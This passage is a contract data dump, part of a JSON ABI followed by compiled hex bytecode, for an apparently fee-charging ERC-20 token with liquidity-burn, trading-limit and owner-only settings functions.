ility":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"multiCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetLimitsBackIntoEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"setAutoLpReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"oneIsOnZeroIsOff","type":"uint256"}],"name":"setModifier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newBurnAddress","type":"address"}],"name":"updateBurnAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellMarketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506019600d556001600e60006101000a81548160ff021916908315150217905550611c20600f556107086011556001601360006101000a81548160ff0219169083151502179055506000601360016101000a81548160ff0219169083151502179055506000601360026101000a81548160ff0219169083151502179055506001601360036101000a81548160ff0219169083151502179055506000601760006101000a81548160ff0219169083151502179055503480156200010757600080fd5b50604051620051063803806200510683398181016040528101906200012d919062000de5565b600380546200013c9062000ec4565b80601f01602080910402602001604051908101604052809291908181526020018280546200016a9062000ec4565b8015620001bb5780601f106200018f57610100808354040283529160200191620001bb565b820191906000526020600020905b8154815290600101906020018083116200019d57829003601f168201915b505050505060048054620001cf9062000ec4565b80601f0160208091040260200160405190810160405280929190818152602001828054620001fd9062000ec4565b80156200024e5780601f1062000222576101008083540402835291602001916200024e565b820191906000526020600020905b8154815290600101906020018083116200023057829003601f168201915b5050505050600560009054906101000a900460ff1682600390805190602001906200027b92919062000b1f565b5081600490805190602001906200029492919062000b1f565b5080600560006101000a81548160ff021916908360ff1602179055505050506000620002c56200078660201b60201c565b905080600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000600290506000600290506000600190506000600290506000600290506000600190506000600190506000600290506000806103e8600282620003a9919062000f29565b620003b5919062000fb9565b600a81905550620003d66064826200078e60201b620026c91790919060201c565b600c81905550612710600582620003ee919062000f29565b620003fa919062000fb9565b600b819055508960198190555088601a8190555087601b81905550601b54601a546019546200042a919062000ff1565b62000436919062000ff1565b60188190555086601d8190555085601e8190555084601f81905550601f54601e54601d5462000466919062000ff1565b62000472919062000ff1565b601c81905550836020819055508260218190555062000496620007e060201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004e6620007e060201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005486200053a620007e060201b60201c565b60016200080a60201b60201c565b6200055b3060016200080a60201b60201c565b6200057061dead60016200080a60201b60201c565b6200059262000584620007e060201b60201c565b60016200095760201b60201c565b620005a53060016200095760201b60201c565b620005ba61dead60016200095760201b60201c565b8d60039080519060200190620005d292919062000b1f565b508c60049080519060200190620005eb92919062000b1f565b508b600560006101000a81548160ff021916908360ff1602179055508a9150620006268260025462000a5460201b620027131790919060201c565b60028190555062000684826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000a5460201b620027131790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200072691906200105f565b60405180910390a36001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff021916908315150217905550426010819055504360258190555050505050505050505050505050506200121b565b600033905090565b6000620007d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000ab760201b60201c565b905092915050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200081a6200078660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a390620010dd565b60405180910390fd5b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200094b91906200111c565b60405180910390a25050565b620009676200078660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009f090620010dd565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828462000a65919062000ff1565b90508381101562000aad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aa49062001189565b60405180910390fd5b8091505092915050565b6000808311829062000b01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000af89190620011f7565b60405180910390fd5b506000838562000b12919062000fb9565b9050809150509392505050565b82805462000b2d9062000ec4565b90600052602060002090601f01602090048101928262000b51576000855562000b9d565b82601f1062000b6c57805160ff191683800117855562000b9d565b8280016001018555821562000b9d579182015b8281111562000b9c57825182559160200191906001019062000b7f565b5b50905062000bac919062000bb0565b5090565b5b8082111562000bcb57600081600090555060010162000bb1565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000c388262000bed565b810181811067ffffffffffffffff8211171562000c5a5762000c5962000bfe565b5b80604052505050565b600062000c6f62000bcf565b905062000c7d828262000c2d565b919050565b600067ffffffffffffffff82111562000ca05762000c9f62000bfe565b5b62000cab8262000bed565b9050602081019050919050565b60005b8381101562000cd857808201518184015260208101905062000cbb565b8381111562000ce8576000848401525b50505050565b600062000d0562000cff8462000c82565b62000c63565b90508281526020810184848401111562000d245762000d2362000be8565b5b62000d3184828562000cb8565b509392505050565b600082601f83011262000d515762000d5062000be3565b5b815162000d6384826020860162000cee565b91505092915050565b600060ff82169050919050565b62000d848162000d6c565b811462000d9057600080fd5b50565b60008151905062000da48162000d79565b92915050565b6000819050919050565b62000dbf8162000daa565b811462000dcb57600080fd5b50565b60008151905062000ddf8162000db4565b92915050565b6000806000806080858703121562000e025762000e0162000bd9565b5b600085015167ffffffffffffffff81111562000e235762000e2262000bde565b5b62000e318782880162000d39565b945050602085015167ffffffffffffffff81111562000e555762000e5462000bde565b5b62000e638782880162000d39565b935050604062000e768782880162000d93565b925050606062000e898782880162000dce565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000edd57607f821691505b6020821081141562000ef45762000ef362000e95565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f368262000daa565b915062000f438362000daa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000f7f5762000f7e62000efa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fc68262000daa565b915062000fd38362000daa565b92508262000fe65762000fe562000f8a565b5b828204905092915050565b600062000ffe8262000daa565b91506200100b8362000daa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562001043576200104262000efa565b5b828201905092915050565b620010598162000daa565b82525050565b60006020820190506200107660008301846200104e565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620010c56020836200107c565b9150620010d2826200108d565b602082019050919050565b60006020820190508181036000830152620010f881620010b6565b9050919050565b60008115159050919050565b6200111681620010ff565b82525050565b60006020820190506200113360008301846200110b565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001171601b836200107c565b91506200117e8262001139565b602082019050919050565b60006020820190508181036000830152620011a48162001162565b9050919050565b600081519050919050565b6000620011c382620011ab565b620011cf81856200107c565b9350620011e181856020860162000cb8565b620011ec8162000bed565b840191505092915050565b60006020820190508181036000830152620012138184620011b6565b905092915050565b613edb806200122b6000396000f3fe60806040526004361061036f5760003560e01c80638095d564116101c6578063b62496f5116100f7578063e2f4560511610095578063f5ed24301161006f578063f5ed243014610ce3578063f637434214610d0e578063fe72b27a14610d39578063ff935af614610d7657610376565b8063e2f4560514610c62578063e884f26014610c8d578063f11a24d314610cb857610376565b8063c18bc195116100d1578063c18bc19514610ba6578063c876d0b914610bcf578063d85ba06314610bfa578063dd62ed3e14610c2557610376565b8063b62496f514610b15578063bbc0c74214610b52578063c024666814610b7d57610376565b8063a265777811610164578063a4c82a001161013e578063a4c82a0014610a59578063a4d15b6414610a84578063a9059cbb14610aaf578063aacebbe314610aec57610376565b8063a2657778146109ca578063a456f9a4146109f3578063a457c2d714610a1c57610376565b80639a7a23d6116101a05780639a7a23d6146109205780639c3b4fdc146109495780639ec22c0e14610974578063a0d82dc51461099f57610376565b80638095d564146108a157806392136913146108ca57806395d89b41146108f557610376565b80634a62bb65116102a05780636ddd17131161023e578063730c188811610218578063730c1888146107f9578063751039fc146108225780637571336a1461084d5780637bce5a041461087657610376565b80636ddd17131461076657806370a082311461079157806370d5ae05146107ce57610376565b8063541a43cf1161027a578063541a43cf146106be578063549f3295146106e95780636a486a8e146107125780636bd89cdd1461073d57610376565b80634a62bb651461062d5780634f807d26146106585780634fbee1931461068157610376565b806323b872dd1161030d5780632e82f1a0116102e75780632e82f1a01461055d578063313ce5671461058857806339509351146105b357806343b547ee146105f057610376565b806323b872dd146104ca5780632bf3d42d146105075780632c3e486c1461053257610376565b806318160ddd1161034957806318160ddd14610420578063184c16c51461044b578063199ffc7214610476578063203e727e146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d9f565b60405161039d91906130c3565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061317e565b610e31565b6040516103da91906131d9565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906131f4565b610e4f565b60405161041791906131d9565b60405180910390f35b34801561042c57600080fd5b50610435610e6f565b6040516104429190613230565b60405180910390f35b34801561045757600080fd5b50610460610e79565b60405161046d9190613230565b60405180910390f35b34801561048257600080fd5b5061048b610e7f565b6040516104989190613230565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c3919061324b565b610e85565b005b3480156104d657600080fd5b506104f160048036038101906104ec9190613278565b610fa7565b6040516104fe91906131d9565b60405180910390f35b34801561051357600080fd5b5061051c611080565b6040516105299190613230565b60405180910390f35b34801561053e57600080fd5b50610547611086565b6040516105549190613230565b60405180910390f35b34801561056957600080fd5b5061057261108c565b60405161057f91906131d9565b60405180910390f35b34801561059457600080fd5b5061059d61109f565b6040516105aa91906132e7565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d5919061317e565b6110b6565b6040516105e791906131d9565b60405180910390f35b3480156105fc57600080fd5b50610617600480360381019061061291906131f4565b611169565b60405161062491906131d9565b60405180910390f35b34801561063957600080fd5b506106426111bf565b60405161064f91906131d9565b60405180910390f35b34801561066457600080fd5b5061067f600480360381019061067a919061317e565b6111d2565b005b34801561068d57600080fd5b506106a860048036038101906106a391906131f4565b611277565b6040516106b591906131d9565b60405180910390f35b3480156106ca57600080fd5b506106d36112cd565b6040516106e09190613230565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b91906131f4565b6112d3565b005b34801561071e57600080fd5b5061072761147c565b6040516107349190613230565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f91906131f4565b611482565b005b34801561077257600080fd5b5061077b61155d565b60405161078891906131d9565b60405180910390f35b34801561079d57600080fd5b506107b860048036038101906107b391906131f4565b611570565b6040516107c59190613230565b60405180910390f35b3480156107da57600080fd5b506107e36115b8565b6040516107f09190613311565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190613358565b6115de565b005b34801561082e57600080fd5b50610837611739565b60405161084491906131d9565b60405180910390f35b34801561085957600080fd5b50610874600480360381019061086f91906133ab565b6117f4565b005b34801561088257600080fd5b5061088b6118e6565b6040516108989190613230565b60405180910390f35b3480156108ad57600080fd5b506108c860048036038101906108c391906133eb565b6118ec565b005b3480156108d657600080fd5b506108df611a06565b6040516108ec9190613230565b60405180910390f35b34801561090157600080fd5b5061090a611a0c565b60405161091791906130c3565b60405180910390f35b34801561092c57600080fd5b50610947600480360381019061094291906133ab565b611a9e565b005b34801561095557600080fd5b5061095e611b43565b60405161096b9190613230565b60405180910390f35b34801561098057600080fd5b50610989611b49565b6040516109969190613230565b60405180910390f35b3480156109ab57600080fd5b506109b4611b4f565b6040516109c19190613230565b60405180910390f35b3480156109d657600080fd5b506109f160048036038101906109ec919061343e565b611b55565b005b3480156109ff57600080fd5b50610a1a6004803603810190610a1591906131f4565b611c09565b005b348015610a2857600080fd5b50610a436004803603810190610a3e919061317e565b611ce4565b604051610a5091906131d9565b60405180910390f35b348015610a6557600080fd5b50610a6e611db1565b604051610a7b9190613230565b60405180910390f35b348015610a9057600080fd5b50610a99611db7565b604051610aa691906131d9565b60405180910390f35b348015610abb57600080fd5b50610ad66004803603810190610ad1919061317e565b611dca565b604051610ae391906131d9565b60405180910390f35b348015610af857600080fd5b50610b136004803603810190610b0e91906131f4565b611de8565b005b348015610b2157600080fd5b50610b3c6004803603810190610b3791906131f4565b611f3f565b604051610b4991906131d9565b60405180910390f35b348015610b5e57600080fd5b50610b67611f5f565b604051610b7491906131d9565b60405180910390f35b348015610b8957600080fd5b50610ba46004803603810190610b9f91906133ab565b611f72565b005b348015610bb257600080fd5b50610bcd6004803603810190610bc8919061324b565b6120b2565b005b348015610bdb57600080fd5b50610be46121d4565b604051610bf191906131d9565b60405180910390f35b348015610c0657600080fd5b50610c0f6121e7565b604051610c1c9190613230565b60405180910390f35b348015610c3157600080fd5b50610c4c6004803603810190610c47919061346b565b6121ed565b604051610c599190613230565b60405180910390f35b348015610c6e57600080fd5b50610c77612274565b604051610c849190613230565b60405180910390f35b348015610c9957600080fd5b50610ca261227a565b604051610caf91906131d9565b60405180910390f35b348015610cc457600080fd5b50610ccd612335565b604051610cda9190613230565b60405180910390f35b348015610cef57600080fd5b50610cf861233b565b604051610d0591906131d9565b60405180910390f35b348015610d1a57600080fd5b50610d236123f6565b604051610d309190613230565b60405180910390f35b348015610d4557600080fd5b50610d606004803603810190610d5b919061324b565b6123fc565b604051610d6d91906131d9565b60405180910390f35b348015610d8257600080fd5b50610d9d6004803603810190610d9891906134ab565b61259f565b005b606060038054610dae90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054610dda90613555565b8015610e275780601f10610dfc57610100808354040283529160200191610e27565b820191906000526020600020905b815481529060010190602001808311610e0a57829003601f168201915b5050505050905090565b6000610e45610e3e612771565b8484612779565b6001905092915050565b60276020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60115481565b600d5481565b610e8d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f13906135d3565b60405180910390fd5b633b9aca006103e86001610f2e610e6f565b610f389190613622565b610f4291906136ab565b610f4c91906136ab565b811015610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f859061374e565b60405180910390fd5b633b9aca0081610f9e9190613622565b600a8190555050565b6000610fb4848484612944565b61107584610fc0612771565b61107085604051806060016040528060288152602001613e5960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611026612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b600190509392505050565b60215481565b600f5481565b600e60009054906101000a900460ff1681565b6000600560009054906101000a900460ff16905090565b600061115f6110c3612771565b8461115a85600160006110d4612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271390919063ffffffff16565b612779565b6001905092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601360009054906101000a900460ff1681565b6111da612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611269576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611260906135d3565b60405180910390fd5b6112738282612d1e565b5050565b6000602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60205481565b6112db612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461136a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611361906135d3565b60405180910390fd5b60001515601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611420576001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611479565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b601c5481565b61148a612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611519576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611510906135d3565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6115e6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906135d3565b60405180910390fd5b6102588310156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906137e0565b60405180910390fd5b6103e882111580156116cd575060008210155b61170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613872565b60405180910390fd5b82600f8190555081600d8190555080600e60006101000a81548160ff021916908315150217905550505050565b6000611743612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c9906135d3565b60405180910390fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b6117fc612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611882906135d3565b60405180910390fd5b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b6118f4612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a906135d3565b60405180910390fd5b8260198190555081601a8190555080601b81905550601b54601a546019546119ab9190613892565b6119b59190613892565b60188190555060146018541115611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f890613934565b60405180910390fd5b505050565b601d5481565b606060048054611a1b90613555565b80601f0160208091040260200160405190810160405280929190818152602001828054611a4790613555565b8015611a945780601f10611a6957610100808354040283529160200191611a94565b820191906000526020600020905b815481529060010190602001808311611a7757829003601f168201915b5050505050905090565b611aa6612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c906135d3565b60405180910390fd5b611b3f8282612ea6565b5050565b601b5481565b60125481565b601f5481565b611b5d612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906135d3565b60405180910390fd5b80601360036101000a81548160ff02191690831515021790555050565b611c11612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c97906135d3565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611da7611cf1612771565b84611da285604051806060016040528060258152602001613e816025913960016000611d1b612771565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cba9092919063ffffffff16565b612779565b6001905092915050565b60105481565b601360039054906101000a900460ff1681565b6000611dde611dd7612771565b8484612944565b6001905092915050565b611df0612771565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e76906135d3565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffff